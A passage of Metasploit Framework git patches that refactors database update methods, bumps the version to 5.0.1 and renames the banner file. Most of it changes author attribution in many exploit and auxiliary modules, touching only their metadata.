b/lib/msf/core/db_manager/cred.rb index 1bacaa001fd3..22e6f5b68911 100644 --- a/lib/msf/core/db_manager/cred.rb +++ b/lib/msf/core/db_manager/cred.rb @@ -263,7 +263,7 @@ def update_credential(opts) id = opts.delete(:id) cred = Metasploit::Credential::Core.find(id) - cred.update(opts) + cred.update!(opts) } end From 0435d7e1d6cf8eabbc7a2bd70b3485ccf7ce67b0 Mon Sep 17 00:00:00 2001 From: Erin Bleiweiss Date: Thu, 10 Jan 2019 11:04:42 -0600 Subject: [PATCH 215/220] Return the updated objects --- lib/msf/core/db_manager/cred.rb | 1 + lib/msf/core/db_manager/host.rb | 1 + lib/msf/core/db_manager/login.rb | 1 + lib/msf/core/db_manager/loot.rb | 1 + lib/msf/core/db_manager/note.rb | 1 + lib/msf/core/db_manager/service.rb | 1 + lib/msf/core/db_manager/session.rb | 1 + lib/msf/core/db_manager/user.rb | 4 +++- lib/msf/core/db_manager/vuln_detail.rb | 1 + 9 files changed, 11 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/db_manager/cred.rb b/lib/msf/core/db_manager/cred.rb index 22e6f5b68911..ad23f14a141d 100644 --- a/lib/msf/core/db_manager/cred.rb +++ b/lib/msf/core/db_manager/cred.rb @@ -264,6 +264,7 @@ def update_credential(opts) id = opts.delete(:id) cred = Metasploit::Credential::Core.find(id) cred.update!(opts) + return cred } end diff --git a/lib/msf/core/db_manager/host.rb b/lib/msf/core/db_manager/host.rb index 84a6a7eccef2..3d1b417219f4 100644 --- a/lib/msf/core/db_manager/host.rb +++ b/lib/msf/core/db_manager/host.rb @@ -285,6 +285,7 @@ def update_host(opts) id = opts.delete(:id) host = Mdm::Host.find(id) host.update!(opts) + return host } end diff --git a/lib/msf/core/db_manager/login.rb b/lib/msf/core/db_manager/login.rb index 19053203e0f8..eefbe66f7edc 100644 --- a/lib/msf/core/db_manager/login.rb +++ b/lib/msf/core/db_manager/login.rb @@ -12,6 +12,7 @@ def update_login(opts) id = opts.delete(:id) login = Metasploit::Credential::Login.find(id) login.update!(opts) + return login } end diff --git a/lib/msf/core/db_manager/loot.rb b/lib/msf/core/db_manager/loot.rb index e8c15ece358e..e0cb0b983d53 100644 --- a/lib/msf/core/db_manager/loot.rb +++ b/lib/msf/core/db_manager/loot.rb @@ -104,6 +104,7 @@ def update_loot(opts) id = opts.delete(:id) loot = Mdm::Loot.find(id) loot.update!(opts) + return loot } end diff --git a/lib/msf/core/db_manager/note.rb b/lib/msf/core/db_manager/note.rb index 90e46cd039b1..906e2997901b 100644 --- a/lib/msf/core/db_manager/note.rb +++ b/lib/msf/core/db_manager/note.rb @@ -202,6 +202,7 @@ def update_note(opts) id = opts.delete(:id) note = Mdm::Note.find(id) note.update!(opts) + return note } end diff --git a/lib/msf/core/db_manager/service.rb b/lib/msf/core/db_manager/service.rb index c977d07a4df1..7bab5c766332 100644 --- a/lib/msf/core/db_manager/service.rb +++ b/lib/msf/core/db_manager/service.rb @@ -172,6 +172,7 @@ def update_service(opts) id = opts.delete(:id) service = Mdm::Service.find(id) service.update!(opts) + return service } end end diff --git a/lib/msf/core/db_manager/session.rb b/lib/msf/core/db_manager/session.rb index f97f727c6114..382b138c8a6e 100644 --- a/lib/msf/core/db_manager/session.rb +++ b/lib/msf/core/db_manager/session.rb @@ -190,6 +190,7 @@ def update_session(opts) id = opts.delete(:id) session = ::Mdm::Session.find(id) session.update!(opts) + return session } end diff --git a/lib/msf/core/db_manager/user.rb b/lib/msf/core/db_manager/user.rb index 1543a9eaf66c..3374c1c9535c 100644 --- a/lib/msf/core/db_manager/user.rb +++ b/lib/msf/core/db_manager/user.rb @@ -77,6 +77,7 @@ def update_user(opts) id = opts.delete(:id) user = Mdm::User.find(id) user.update!(opts) + return user } end @@ -135,7 +136,8 @@ def create_new_user_token(opts) token_length = opts[:token_length] || MIN_TOKEN_LENGTH # NOTE: repurposing persistence_token in the database as the API token user = Mdm::User.find(opts[:id]) - user.update!({persistence_token: SecureRandom.hex(token_length)}).persistence_token + user.update!({persistence_token: SecureRandom.hex(token_length)}) + user.persistence_token end end diff --git a/lib/msf/core/db_manager/vuln_detail.rb b/lib/msf/core/db_manager/vuln_detail.rb index d52924aa7130..78ef2943c2ee 100644 --- a/lib/msf/core/db_manager/vuln_detail.rb +++ b/lib/msf/core/db_manager/vuln_detail.rb @@ -27,6 +27,7 @@ def update_vuln_details(details) criteria = details.delete(:key) || {} vuln_detail = ::Mdm::VulnDetail.find(key) vuln_detail.update!(criteria) + return vuln_detail } end end From 97f57cd96a3f3c478304118d6770f7e3d3011301 Mon Sep 17 00:00:00 2001 From: Matthew Kienow Date: Thu, 10 Jan 2019 12:29:08 -0500 Subject: [PATCH 216/220] Get MSF config root dir rather than a fixed value --- msfdb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/msfdb b/msfdb index db6683291683..a711f8933fe2 100755 --- a/msfdb +++ b/msfdb @@ -20,13 +20,14 @@ end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] +require 'msf/base/config' require 'msf/util/helper' @script_name = File.basename(__FILE__) @framework = File.expand_path(File.dirname(__FILE__)) -@localconf = "#{ENV['HOME']}/.msf4" +@localconf = Msf::Config.get_config_root @db = "#{@localconf}/db" @db_conf = "#{@localconf}/database.yml" From 16f152f6e3326749d61e2d51a1e0045fc6c7f4bb Mon Sep 17 00:00:00 2001 From: Metasploit Date: Thu, 10 Jan 2019 09:41:50 -0800 Subject: [PATCH 217/220] Bump version of framework to 5.0.1 --- Gemfile.lock | 10 +++++----- LICENSE_GEMS | 10 +++++----- lib/metasploit/framework/version.rb | 2 +- 3 files changed, 11 insertions(+), 11 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index e5eddd0062ad..32977e4de3c8 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,7 +1,7 @@ PATH remote: . specs: - metasploit-framework (5.0.0) + metasploit-framework (5.0.1) actionpack (~> 4.2.6) activerecord (~> 4.2.6) activesupport (~> 4.2.6) @@ -193,7 +193,7 @@ GEM mini_portile2 (2.4.0) minitest (5.11.3) mqtt (0.5.0) - msgpack (1.2.4) + msgpack (1.2.6) multipart-post (2.0.0) nessus_rest (0.1.6) net-ssh (5.1.0) @@ -203,7 +203,7 @@ GEM mini_portile2 (~> 2.4.0) octokit (4.13.0) sawyer (~> 0.8.0, >= 0.5.3) - openssl-ccm (1.2.1) + openssl-ccm (1.2.2) openvas-omp (0.0.4) packetfu (1.1.13) pcaprub @@ -245,7 +245,7 @@ GEM thor (>= 0.18.1, < 2.0) rake (12.3.2) rb-readline (0.5.5) - recog (2.1.42) + recog (2.1.44) nokogiri redcarpet (3.4.0) rex-arch (0.1.13) @@ -382,4 +382,4 @@ DEPENDENCIES yard BUNDLED WITH - 1.17.1 + 1.17.3 diff --git a/LICENSE_GEMS b/LICENSE_GEMS index f329bca090d4..86f47ec13537 100644 --- a/LICENSE_GEMS +++ b/LICENSE_GEMS @@ -15,7 +15,7 @@ bcrypt_pbkdf, 1.0.0, MIT bindata, 2.4.4, ruby bit-struct, 0.16, ruby builder, 3.2.3, MIT -bundler, 1.12.5, MIT +bundler, 1.17.3, MIT coderay, 1.1.2, MIT concurrent-ruby, 1.0.5, MIT cookiejar, 0.3.3, unknown @@ -44,7 +44,7 @@ loofah, 2.2.3, MIT metasm, 1.0.3, LGPL metasploit-concern, 2.0.5, "New BSD" metasploit-credential, 3.0.2, "New BSD" -metasploit-framework, 5.0.0, "New BSD" +metasploit-framework, 5.0.1, "New BSD" metasploit-model, 2.0.4, "New BSD" metasploit-payloads, 1.3.58, "3-clause (or ""modified"") BSD" metasploit_data_models, 3.0.2, "New BSD" @@ -53,7 +53,7 @@ method_source, 0.9.2, MIT mini_portile2, 2.4.0, MIT minitest, 5.11.3, MIT mqtt, 0.5.0, MIT -msgpack, 1.2.4, "Apache 2.0" +msgpack, 1.2.6, "Apache 2.0" multipart-post, 2.0.0, MIT nessus_rest, 0.1.6, MIT net-ssh, 5.1.0, MIT @@ -61,7 +61,7 @@ network_interface, 0.0.2, MIT nexpose, 7.2.1, "New BSD" nokogiri, 1.10.0, MIT octokit, 4.13.0, MIT -openssl-ccm, 1.2.1, MIT +openssl-ccm, 1.2.2, MIT openvas-omp, 0.0.4, MIT packetfu, 1.1.13, BSD patch_finder, 1.0.2, "New BSD" @@ -81,7 +81,7 @@ rails-html-sanitizer, 1.0.4, MIT railties, 4.2.11, MIT rake, 12.3.2, MIT rb-readline, 0.5.5, BSD -recog, 2.1.42, unknown +recog, 2.1.44, unknown redcarpet, 3.4.0, MIT rex-arch, 0.1.13, "New BSD" rex-bin_tools, 0.1.6, "New BSD" diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb index cfb44957ea0e..f477f0122de2 100644 --- a/lib/metasploit/framework/version.rb +++ b/lib/metasploit/framework/version.rb @@ -30,7 +30,7 @@ def self.get_hash end end - VERSION = "5.0.0" + VERSION = "5.0.1" MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i } PRERELEASE = 'dev' HASH = get_hash From 8f746cd6aeacf7c7dfe978eb4c7b961d7c012f01 Mon Sep 17 00:00:00 2001 From: Matthew Kienow Date: Thu, 10 Jan 2019 13:39:57 -0500 Subject: [PATCH 218/220] Update MSF v5 banner for MSF5 release --- data/logos/{under-construction-v5.txt => metasploit-v5.txt} | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) rename data/logos/{under-construction-v5.txt => metasploit-v5.txt} (95%) diff --git a/data/logos/under-construction-v5.txt b/data/logos/metasploit-v5.txt similarity index 95% rename from data/logos/under-construction-v5.txt rename to data/logos/metasploit-v5.txt index cdb4fa1a3cec..61e6f43d8a52 100644 --- a/data/logos/under-construction-v5.txt +++ b/data/logos/metasploit-v5.txt @@ -22,4 +22,4 @@ xMMMMMMMMMd ,0MMMMMMMMMMK; %red 'oOWMMMMMMMMo%clr +:+ %red .,cdkO0K;%clr :+: :+: :::::::+: - %whiMetasploit%clr %yelUnder Construction%clr \ No newline at end of file + %whiMetasploit%clr \ No newline at end of file From 24f807490f6a8129236fae4b8b9b00b479155de7 Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Thu, 10 Jan 2019 19:19:14 +0000 Subject: [PATCH 219/220] revisionism --- modules/auxiliary/admin/http/scadabr_credential_dump.rb | 2 +- modules/auxiliary/gather/asterisk_creds.rb | 2 +- modules/auxiliary/gather/doliwamp_traversal_creds.rb | 2 +- modules/auxiliary/gather/http_pdf_authors.rb | 2 +- modules/auxiliary/gather/snare_registry.rb | 2 +- modules/auxiliary/gather/teamtalk_creds.rb | 2 +- .../scanner/http/manageengine_deviceexpert_user_creds.rb | 2 +- modules/auxiliary/scanner/http/surgenews_user_creds.rb | 2 +- modules/auxiliary/scanner/misc/easycafe_server_fileaccess.rb | 2 +- modules/auxiliary/scanner/nntp/nntp_login.rb | 2 +- modules/auxiliary/scanner/wsdd/wsdd_query.rb | 2 +- modules/exploits/linux/http/dlink_dcs931l_upload.rb | 2 +- modules/exploits/linux/http/mvpower_dvr_shell_exec.rb | 2 +- modules/exploits/linux/http/openfiler_networkcard_exec.rb | 2 +- modules/exploits/linux/http/qnap_qcenter_change_passwd_exec.rb | 2 +- modules/exploits/linux/http/wanem_exec.rb | 2 +- modules/exploits/linux/http/zen_load_balancer_exec.rb | 2 +- modules/exploits/linux/http/zenoss_showdaemonxmlconfig_exec.rb | 2 +- modules/exploits/linux/local/abrt_raceabrt_priv_esc.rb | 2 +- modules/exploits/linux/local/af_packet_chocobo_root_priv_esc.rb | 2 +- .../exploits/linux/local/af_packet_packet_set_ring_priv_esc.rb | 2 +- modules/exploits/linux/local/apport_abrt_chroot_priv_esc.rb | 2 +- .../exploits/linux/local/glibc_ld_audit_dso_load_priv_esc.rb | 2 +- modules/exploits/linux/local/glibc_origin_expansion_priv_esc.rb | 2 +- modules/exploits/linux/local/glibc_realpath_priv_esc.rb | 2 +- modules/exploits/linux/local/juju_run_agent_priv_esc.rb | 2 +- modules/exploits/linux/local/lastore_daemon_dbus_priv_esc.rb | 2 +- modules/exploits/linux/local/libuser_roothelper_priv_esc.rb | 2 +- .../linux/local/network_manager_vpnc_username_priv_esc.rb | 2 +- modules/exploits/linux/local/rds_priv_esc.rb | 2 +- modules/exploits/linux/local/ufo_privilege_escalation.rb | 2 +- modules/exploits/linux/local/vmware_alsa_config.rb | 2 +- modules/exploits/linux/misc/asus_infosvr_auth_bypass_exec.rb | 2 +- .../linux/misc/hid_discoveryd_command_blink_on_unauth_rce.rb | 2 +- modules/exploits/linux/misc/qnap_transcode_server.rb | 2 +- modules/exploits/linux/samba/is_known_pipename.rb | 2 +- modules/exploits/multi/http/cups_bash_env_exec.rb | 2 +- modules/exploits/multi/http/cuteflow_upload_exec.rb | 2 +- modules/exploits/multi/http/extplorer_upload_exec.rb | 2 +- modules/exploits/multi/http/glossword_upload_exec.rb | 2 +- modules/exploits/multi/http/hyperic_hq_script_console.rb | 2 +- .../multi/http/ibm_openadmin_tool_soap_welcomeserver_exec.rb | 2 +- modules/exploits/multi/http/kordil_edms_upload_exec.rb | 2 +- modules/exploits/multi/http/processmaker_exec.rb | 2 +- modules/exploits/multi/http/processmaker_plugin_upload.rb | 2 +- modules/exploits/multi/http/testlink_upload_exec.rb | 2 +- .../multi/local/magnicomp_sysinfo_mcsiwrapper_priv_esc.rb | 2 +- modules/exploits/multi/local/xorg_x11_suid_server.rb | 2 +- modules/exploits/multi/misc/msf_rpc_console.rb | 2 +- modules/exploits/qnx/local/ifwatchd_priv_esc.rb | 2 +- modules/exploits/qnx/qconn/qconn_exec.rb | 2 +- .../exploits/solaris/local/extremeparr_dtappgather_priv_esc.rb | 2 +- .../exploits/solaris/local/libnspr_nspr_log_file_priv_esc.rb | 2 +- modules/exploits/solaris/local/rsh_stack_clash_priv_esc.rb | 2 +- modules/exploits/unix/http/dell_kace_k1000_upload.rb | 2 +- modules/exploits/unix/http/quest_kace_systems_management_rce.rb | 2 +- modules/exploits/unix/misc/qnx_qconn_exec.rb | 2 +- modules/exploits/unix/webapp/actualanalyzer_ant_cookie_exec.rb | 2 +- modules/exploits/unix/webapp/flashchat_upload_exec.rb | 2 +- modules/exploits/unix/webapp/hybridauth_install_php_exec.rb | 2 +- modules/exploits/unix/webapp/kimai_sqli.rb | 2 +- modules/exploits/unix/webapp/open_flash_chart_upload_exec.rb | 2 +- modules/exploits/unix/webapp/opensis_modname_exec.rb | 2 +- modules/exploits/unix/webapp/php_charts_exec.rb | 2 +- modules/exploits/unix/webapp/projectsend_upload_exec.rb | 2 +- modules/exploits/unix/webapp/simple_e_document_upload_exec.rb | 2 +- .../unix/webapp/vicidial_user_authorization_unauth_cmd_exec.rb | 2 +- modules/exploits/unix/webapp/webtester_exec.rb | 2 +- modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb | 2 +- modules/exploits/windows/fileformat/nitro_reader_jsapi.rb | 2 +- modules/exploits/windows/fileformat/tfm_mmplayer_m3u_ppl_bof.rb | 2 +- modules/exploits/windows/ftp/open_ftpd_wbem.rb | 2 +- modules/exploits/windows/http/efs_easychatserver_username.rb | 2 +- modules/exploits/windows/http/miniweb_upload_wbem.rb | 2 +- .../exploits/windows/http/serviio_checkstreamurl_cmd_exec.rb | 2 +- .../exploits/windows/misc/hp_imc_dbman_restartdb_unauth_rce.rb | 2 +- .../windows/misc/hp_imc_dbman_restoredbase_unauth_rce.rb | 2 +- .../windows/misc/solidworks_workgroup_pdmwservice_file_write.rb | 2 +- modules/payloads/singles/cmd/unix/reverse_python.rb | 2 +- modules/post/windows/gather/credentials/dynazip_log.rb | 2 +- modules/post/windows/gather/credentials/ftpx.rb | 2 +- modules/post/windows/gather/credentials/smartermail.rb | 2 +- 82 files changed, 82 insertions(+), 82 deletions(-) diff --git a/modules/auxiliary/admin/http/scadabr_credential_dump.rb b/modules/auxiliary/admin/http/scadabr_credential_dump.rb index b683343e9db4..0ba7bba143ec 100644 --- a/modules/auxiliary/admin/http/scadabr_credential_dump.rb +++ b/modules/auxiliary/admin/http/scadabr_credential_dump.rb @@ -20,7 +20,7 @@ def initialize(info = {}) This module has been tested successfully with ScadaBR versions 1.0 CE and 0.9 on Windows and Ubuntu systems. }, - 'Author' => 'Brendan Coles ', + 'Author' => 'bcoles', 'License' => MSF_LICENSE, 'References' => ['URL', 'http://www.scadabr.com.br/?q=node/1375'], 'Targets' => [[ 'Automatic', {} ]], diff --git a/modules/auxiliary/gather/asterisk_creds.rb b/modules/auxiliary/gather/asterisk_creds.rb index b1602a51336f..37316f4373c3 100644 --- a/modules/auxiliary/gather/asterisk_creds.rb +++ b/modules/auxiliary/gather/asterisk_creds.rb @@ -14,7 +14,7 @@ def initialize(info = {}) This module retrieves SIP and IAX2 user extensions and credentials from Asterisk Call Manager service. Valid manager credentials are required. }, - 'Author' => 'Brendan Coles ', + 'Author' => 'bcoles', 'References' => [ ['URL', 'http://www.asterisk.name/sip1.html'], diff --git a/modules/auxiliary/gather/doliwamp_traversal_creds.rb b/modules/auxiliary/gather/doliwamp_traversal_creds.rb index 59a42ad36f23..568ed407a645 100644 --- a/modules/auxiliary/gather/doliwamp_traversal_creds.rb +++ b/modules/auxiliary/gather/doliwamp_traversal_creds.rb @@ -21,7 +21,7 @@ def initialize(info = {}) Note: All tokens expire after 30 minutes of inactivity by default. }, 'License' => MSF_LICENSE, - 'Author' => 'Brendan Coles ', + 'Author' => 'bcoles', 'References' => [ ['URL', 'https://doliforge.org/tracker/?func=detail&aid=1212&group_id=144'], diff --git a/modules/auxiliary/gather/http_pdf_authors.rb b/modules/auxiliary/gather/http_pdf_authors.rb index 37581554c316..d31b58f0755f 100644 --- a/modules/auxiliary/gather/http_pdf_authors.rb +++ b/modules/auxiliary/gather/http_pdf_authors.rb @@ -33,7 +33,7 @@ def initialize(info = {}) and extract the author's name from the document metadata. }, 'License' => MSF_LICENSE, - 'Author' => 'Brendan Coles ')) + 'Author' => 'bcoles')) register_options( [ OptString.new('URL', [ false, 'The target URL', '' ]), diff --git a/modules/auxiliary/gather/snare_registry.rb b/modules/auxiliary/gather/snare_registry.rb index 8bdd4b7bbce5..eb15ee45faf0 100644 --- a/modules/auxiliary/gather/snare_registry.rb +++ b/modules/auxiliary/gather/snare_registry.rb @@ -22,7 +22,7 @@ def initialize(info = {}) to become unresponsive until the server completes the request. }, 'Platform' => 'win', - 'Author' => [ 'Brendan Coles ' ], + 'Author' => [ 'bcoles' ], 'License' => MSF_LICENSE, 'References' => [ diff --git a/modules/auxiliary/gather/teamtalk_creds.rb b/modules/auxiliary/gather/teamtalk_creds.rb index cd63792fa0dc..c486a372f67b 100644 --- a/modules/auxiliary/gather/teamtalk_creds.rb +++ b/modules/auxiliary/gather/teamtalk_creds.rb @@ -18,7 +18,7 @@ def initialize(info = {}) This module has been tested successfully on TeamTalk versions 5.2.2.4885 and 5.2.3.4893. }, - 'Author' => 'Brendan Coles ', + 'Author' => 'bcoles', 'References' => [ # Protocol documentation diff --git a/modules/auxiliary/scanner/http/manageengine_deviceexpert_user_creds.rb b/modules/auxiliary/scanner/http/manageengine_deviceexpert_user_creds.rb index d840d6d6e6a1..b077b733441a 100644 --- a/modules/auxiliary/scanner/http/manageengine_deviceexpert_user_creds.rb +++ b/modules/auxiliary/scanner/http/manageengine_deviceexpert_user_creds.rb @@ -23,7 +23,7 @@ def initialize(info = {}) 'Author' => [ 'Pedro Ribeiro ', # Discovery and exploit - 'Brendan Coles ' # metasploit module + 'bcoles' # metasploit module ], 'References' => [ diff --git a/modules/auxiliary/scanner/http/surgenews_user_creds.rb b/modules/auxiliary/scanner/http/surgenews_user_creds.rb index 13dfe92b5fe8..90ce58ca7cc8 100644 --- a/modules/auxiliary/scanner/http/surgenews_user_creds.rb +++ b/modules/auxiliary/scanner/http/surgenews_user_creds.rb @@ -31,7 +31,7 @@ def initialize(info = {}) [ ['URL', 'http://news.netwinsite.com:8119/webnews?cmd=body&item=34896&group=netwin.surgemail'], ], - 'Author' => 'Brendan Coles ', + 'Author' => 'bcoles', 'DisclosureDate' => 'Jun 16 2017')) register_options [ Opt::RPORT(9080) ] deregister_options 'RHOST' diff --git a/modules/auxiliary/scanner/misc/easycafe_server_fileaccess.rb b/modules/auxiliary/scanner/misc/easycafe_server_fileaccess.rb index 3c64ec657fef..5403683437d0 100644 --- a/modules/auxiliary/scanner/misc/easycafe_server_fileaccess.rb +++ b/modules/auxiliary/scanner/misc/easycafe_server_fileaccess.rb @@ -26,7 +26,7 @@ def initialize(info = {}) 'Author' => [ 'R-73eN', # Vulnerability Discovery - 'Brendan Coles ' # Metasploit module + 'bcoles' # Metasploit module ], 'References' => [ diff --git a/modules/auxiliary/scanner/nntp/nntp_login.rb b/modules/auxiliary/scanner/nntp/nntp_login.rb index 3a52e683c353..dfb45ccfdb72 100644 --- a/modules/auxiliary/scanner/nntp/nntp_login.rb +++ b/modules/auxiliary/scanner/nntp/nntp_login.rb @@ -20,7 +20,7 @@ def initialize(info = {}) but does not support AUTHINFO GENERIC or AUTHINFO SASL authentication methods. }, - 'Author' => 'Brendan Coles ', + 'Author' => 'bcoles', 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '1999-0502' ], # Weak password [ 'URL', 'https://tools.ietf.org/html/rfc3977' ], diff --git a/modules/auxiliary/scanner/wsdd/wsdd_query.rb b/modules/auxiliary/scanner/wsdd/wsdd_query.rb index 6956fe090fbc..7107a3feb413 100644 --- a/modules/auxiliary/scanner/wsdd/wsdd_query.rb +++ b/modules/auxiliary/scanner/wsdd/wsdd_query.rb @@ -14,7 +14,7 @@ def initialize Discover information from Web Services Dynamic Discovery (WS-Discovery) enabled systems. }, - 'Author' => 'Brendan Coles ', + 'Author' => 'bcoles', 'License' => MSF_LICENSE, 'References' => [ diff --git a/modules/exploits/linux/http/dlink_dcs931l_upload.rb b/modules/exploits/linux/http/dlink_dcs931l_upload.rb index 52fb7746a7bb..f7b00ca93c12 100644 --- a/modules/exploits/linux/http/dlink_dcs931l_upload.rb +++ b/modules/exploits/linux/http/dlink_dcs931l_upload.rb @@ -29,7 +29,7 @@ def initialize(info = {}) 'Author' => [ 'Mike Baucom', 'Allen Harper', 'J. Rach', # Initial discovery by Tangible Security - 'Brendan Coles ' # Metasploit + 'bcoles' # Metasploit ], 'Payload' => { diff --git a/modules/exploits/linux/http/mvpower_dvr_shell_exec.rb b/modules/exploits/linux/http/mvpower_dvr_shell_exec.rb index 687308da7aa2..83ae7715acbe 100644 --- a/modules/exploits/linux/http/mvpower_dvr_shell_exec.rb +++ b/modules/exploits/linux/http/mvpower_dvr_shell_exec.rb @@ -29,7 +29,7 @@ def initialize(info = {}) [ 'Paul Davies (UHF-Satcom)', # Initial vulnerability discovery and PoC 'Andrew Tierney (Pen Test Partners)', # Independent vulnerability discovery and PoC - 'Brendan Coles ' # Metasploit + 'bcoles' # Metasploit ], 'License' => MSF_LICENSE, 'Platform' => 'linux', diff --git a/modules/exploits/linux/http/openfiler_networkcard_exec.rb b/modules/exploits/linux/http/openfiler_networkcard_exec.rb index 640381952fd4..b82af21c156b 100644 --- a/modules/exploits/linux/http/openfiler_networkcard_exec.rb +++ b/modules/exploits/linux/http/openfiler_networkcard_exec.rb @@ -23,7 +23,7 @@ def initialize(info={}) 'License' => MSF_LICENSE, 'Author' => [ - 'Brendan Coles ' # Discovery and exploit + 'bcoles' # Discovery and exploit ], 'References' => [ diff --git a/modules/exploits/linux/http/qnap_qcenter_change_passwd_exec.rb b/modules/exploits/linux/http/qnap_qcenter_change_passwd_exec.rb index ac3b5114bdc7..d642a9fe7441 100644 --- a/modules/exploits/linux/http/qnap_qcenter_change_passwd_exec.rb +++ b/modules/exploits/linux/http/qnap_qcenter_change_passwd_exec.rb @@ -32,7 +32,7 @@ def initialize(info = {}) 'Author' => [ 'Ivan Huertas', # Discovery and PoC - 'Brendan Coles' # Metasploit + 'bcoles' # Metasploit ], 'References' => [ diff --git a/modules/exploits/linux/http/wanem_exec.rb b/modules/exploits/linux/http/wanem_exec.rb index cd112e556064..bba04df76a4f 100644 --- a/modules/exploits/linux/http/wanem_exec.rb +++ b/modules/exploits/linux/http/wanem_exec.rb @@ -26,7 +26,7 @@ def initialize(info = {}) 'Arch' => ARCH_CMD, 'Author' => [ - 'Brendan Coles ', # Discovery and exploit + 'bcoles', # Discovery and exploit ], 'References' => [ diff --git a/modules/exploits/linux/http/zen_load_balancer_exec.rb b/modules/exploits/linux/http/zen_load_balancer_exec.rb index 9a564f5061a5..79a09dcfb8cd 100644 --- a/modules/exploits/linux/http/zen_load_balancer_exec.rb +++ b/modules/exploits/linux/http/zen_load_balancer_exec.rb @@ -21,7 +21,7 @@ def initialize(info={}) 'License' => MSF_LICENSE, 'Author' => [ - 'Brendan Coles ' # Discovery and exploit + 'bcoles' # Discovery and exploit ], 'References' => [ diff --git a/modules/exploits/linux/http/zenoss_showdaemonxmlconfig_exec.rb b/modules/exploits/linux/http/zenoss_showdaemonxmlconfig_exec.rb index bd009d1795eb..1deaa185cf7b 100644 --- a/modules/exploits/linux/http/zenoss_showdaemonxmlconfig_exec.rb +++ b/modules/exploits/linux/http/zenoss_showdaemonxmlconfig_exec.rb @@ -26,7 +26,7 @@ def initialize(info = {}) ], 'Author' => [ - 'Brendan Coles ', # Discovery and exploit + 'bcoles', # Discovery and exploit ], 'License' => MSF_LICENSE, 'Privileged' => false, diff --git a/modules/exploits/linux/local/abrt_raceabrt_priv_esc.rb b/modules/exploits/linux/local/abrt_raceabrt_priv_esc.rb index c8dee68b0068..d3bdd8be79d6 100644 --- a/modules/exploits/linux/local/abrt_raceabrt_priv_esc.rb +++ b/modules/exploits/linux/local/abrt_raceabrt_priv_esc.rb @@ -34,7 +34,7 @@ def initialize(info = {}) 'Author' => [ 'Tavis Ormandy', # Discovery and C exploit - 'Brendan Coles ' # Metasploit + 'bcoles' # Metasploit ], 'DisclosureDate' => 'Apr 14 2015', 'Platform' => [ 'linux' ], diff --git a/modules/exploits/linux/local/af_packet_chocobo_root_priv_esc.rb b/modules/exploits/linux/local/af_packet_chocobo_root_priv_esc.rb index 5e4c09c1c957..8c36cbbaf3d4 100644 --- a/modules/exploits/linux/local/af_packet_chocobo_root_priv_esc.rb +++ b/modules/exploits/linux/local/af_packet_chocobo_root_priv_esc.rb @@ -41,7 +41,7 @@ def initialize(info = {}) 'Author' => [ 'rebel', # Discovery and chocobo_root.c exploit - 'Brendan Coles' # Metasploit + 'bcoles' # Metasploit ], 'DisclosureDate' => 'Aug 12 2016', 'Platform' => [ 'linux' ], diff --git a/modules/exploits/linux/local/af_packet_packet_set_ring_priv_esc.rb b/modules/exploits/linux/local/af_packet_packet_set_ring_priv_esc.rb index 2c6e07a203b3..75d62a6072d6 100644 --- a/modules/exploits/linux/local/af_packet_packet_set_ring_priv_esc.rb +++ b/modules/exploits/linux/local/af_packet_packet_set_ring_priv_esc.rb @@ -47,7 +47,7 @@ def initialize(info = {}) 'Author' => [ 'Andrey Konovalov', # Discovery and C exploit - 'Brendan Coles' # Metasploit + 'bcoles' # Metasploit ], 'DisclosureDate' => 'Mar 29 2017', 'Platform' => [ 'linux' ], diff --git a/modules/exploits/linux/local/apport_abrt_chroot_priv_esc.rb b/modules/exploits/linux/local/apport_abrt_chroot_priv_esc.rb index 9e22237825b3..a07b0f4d33d1 100644 --- a/modules/exploits/linux/local/apport_abrt_chroot_priv_esc.rb +++ b/modules/exploits/linux/local/apport_abrt_chroot_priv_esc.rb @@ -40,7 +40,7 @@ def initialize(info = {}) 'Stéphane Graber', # Independent discovery, PoC and patch 'Tavis Ormandy', # Independent discovery and C exploit 'Ricardo F. Teixeira', # shell exploit - 'Brendan Coles ' # Metasploit + 'bcoles' # Metasploit ], 'DisclosureDate' => 'Mar 31 2015', 'Platform' => [ 'linux' ], diff --git a/modules/exploits/linux/local/glibc_ld_audit_dso_load_priv_esc.rb b/modules/exploits/linux/local/glibc_ld_audit_dso_load_priv_esc.rb index 5e08e7f0ab6f..9f69c150a00b 100644 --- a/modules/exploits/linux/local/glibc_ld_audit_dso_load_priv_esc.rb +++ b/modules/exploits/linux/local/glibc_ld_audit_dso_load_priv_esc.rb @@ -47,7 +47,7 @@ def initialize(info = {}) 'zx2c4', # "I Can't Read and I Won't Race You Either" exploit 'Marco Ivaldi', # raptor_ldaudit and raptor_ldaudit2 exploits 'Todor Donev', # libmemusage.so exploit - 'Brendan Coles' # Metasploit + 'bcoles' # Metasploit ], 'DisclosureDate' => 'Oct 18 2010', 'Platform' => 'linux', diff --git a/modules/exploits/linux/local/glibc_origin_expansion_priv_esc.rb b/modules/exploits/linux/local/glibc_origin_expansion_priv_esc.rb index 3bcb0c6980c2..b93f3116e64b 100644 --- a/modules/exploits/linux/local/glibc_origin_expansion_priv_esc.rb +++ b/modules/exploits/linux/local/glibc_origin_expansion_priv_esc.rb @@ -48,7 +48,7 @@ def initialize(info = {}) 'Author' => [ 'Tavis Ormandy', # Discovery and exploit - 'Brendan Coles' # Metasploit + 'bcoles' # Metasploit ], 'DisclosureDate' => 'Oct 18 2010', 'Platform' => 'linux', diff --git a/modules/exploits/linux/local/glibc_realpath_priv_esc.rb b/modules/exploits/linux/local/glibc_realpath_priv_esc.rb index 5759fca58742..1b376441960a 100644 --- a/modules/exploits/linux/local/glibc_realpath_priv_esc.rb +++ b/modules/exploits/linux/local/glibc_realpath_priv_esc.rb @@ -34,7 +34,7 @@ def initialize(info = {}) 'Author' => [ 'halfdog', # Discovery and RationalLove.c exploit - 'Brendan Coles' # Metasploit + 'bcoles' # 